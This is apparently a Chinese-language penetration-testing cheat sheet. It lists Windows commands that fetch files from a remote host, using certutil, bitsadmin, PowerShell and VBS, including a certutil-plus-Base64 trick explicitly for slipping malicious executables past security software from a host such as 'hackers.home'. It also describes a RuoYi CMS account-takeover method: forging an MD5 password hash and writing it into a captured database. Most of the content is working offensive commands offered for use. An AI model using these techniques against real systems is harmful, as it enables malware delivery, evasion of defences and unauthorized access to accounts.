windows命令行下载文件
certutil
适用于server 2003以上版本
certutil -urlcache -split -f http://192.168.203.140/b.ps1 d:/b.ps1
以上命令会将http://192.168.203.140/b.ps1下载到本地的d盘
使用CertUtil + Base64来绕过安全软件
通过Base64对恶意文件进行编码,使恶意代码样本看起来像是无害的文本文件,然后使用CertUtil.exe下载后对其进行解码。下载了文本文件使用“Certutil.exe -decode”命令将Base64编码文件解码为可执行文件。
C:\Temp>certutil.exe -urlcache -split -f "https://hackers.home/badcontent.txt" bad.txt
C:\Temp>certutil.exe -decode bad.txt bad.exe
详情参考:
https://learn.microsoft.com/en-us/previous-versions/orphan-topics/ws.10/cc773087(v=ws.10)
bitsadmin
适用于server 2003以上版本
bitsadmin /transfer myDownLoadJob /download /priority normal "http://192.168.203.140/b.ps1" "E:\\phpstudy_pro\\WWW\\b.ps1"
详情参考:https://learn.microsoft.com/zh-cn/windows/win32/bits/bitsadmin-tool
powershell
powershell (new-object Net.WebClient).DownloadFile('http://192.168.203.140/a.ps1','E:\phpstudy_pro\WWW\a.ps1')
vbs
第一种把下载地址直接echo输入download.vbs。直接下载即可。
echo Set Post = CreateObject("Msxml2.XMLHTTP") >>download.vbs
echo Set Shell = CreateObject("Wscript.Shell") >>download.vbs
echo Post.Open "GET","http://192.168.203.140/a.ps1",0 >>download.vbs
echo Post.Send() >>download.vbs
echo Set aGet = CreateObject("ADODB.Stream") >>download.vbs
echo aGet.Mode = 3 >>download.vbs
echo aGet.Type = 1 >>download.vbs
echo aGet.Open() >>download.vbs
echo aGet.Write(Post.responseBody) >>download.vbs
echo aGet.SaveToFile "D:/a.ps1",2 >>download.vbs
第二种保存脚本后再下载指定文件。
echo set a=createobject(^"adod^"+^"b.stream^"):set w=createobject(^"micro^"+^"soft.xmlhttp^"):w.open^"get^",wsh.arguments(0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2 >> downfile.vbs
cscript downfile.vbs http://192.168.203.140/a.ps1 D:\\tomcat8.5\\webapps\\x.ps1
若依CMS
若依CMS数据库密码加密
当拿到一个若依cms的数据库想登录web的时候,会发现数据库中的密码都是加密过的。
若依默认加密代码在com.ruoyi.framework.shiro.service.SysPasswordService.encryptPassword中:
public String encryptPassword(String loginName, String password, String salt) {
return (new Md5Hash(loginName + password + salt)).toHex();
}
通过loginname+password+salt计算一个md5值,数据库中loginname和salt是已知的,可以通过这段代码输入现有的loginname+任意密码+salt计算出一个新的MD5值,然后将这个值写入数据库就可以登录了。
public static void main(String[] args) {
System.out.println(encryptPassword("majun","adminadmin123111111","880a8c"));
}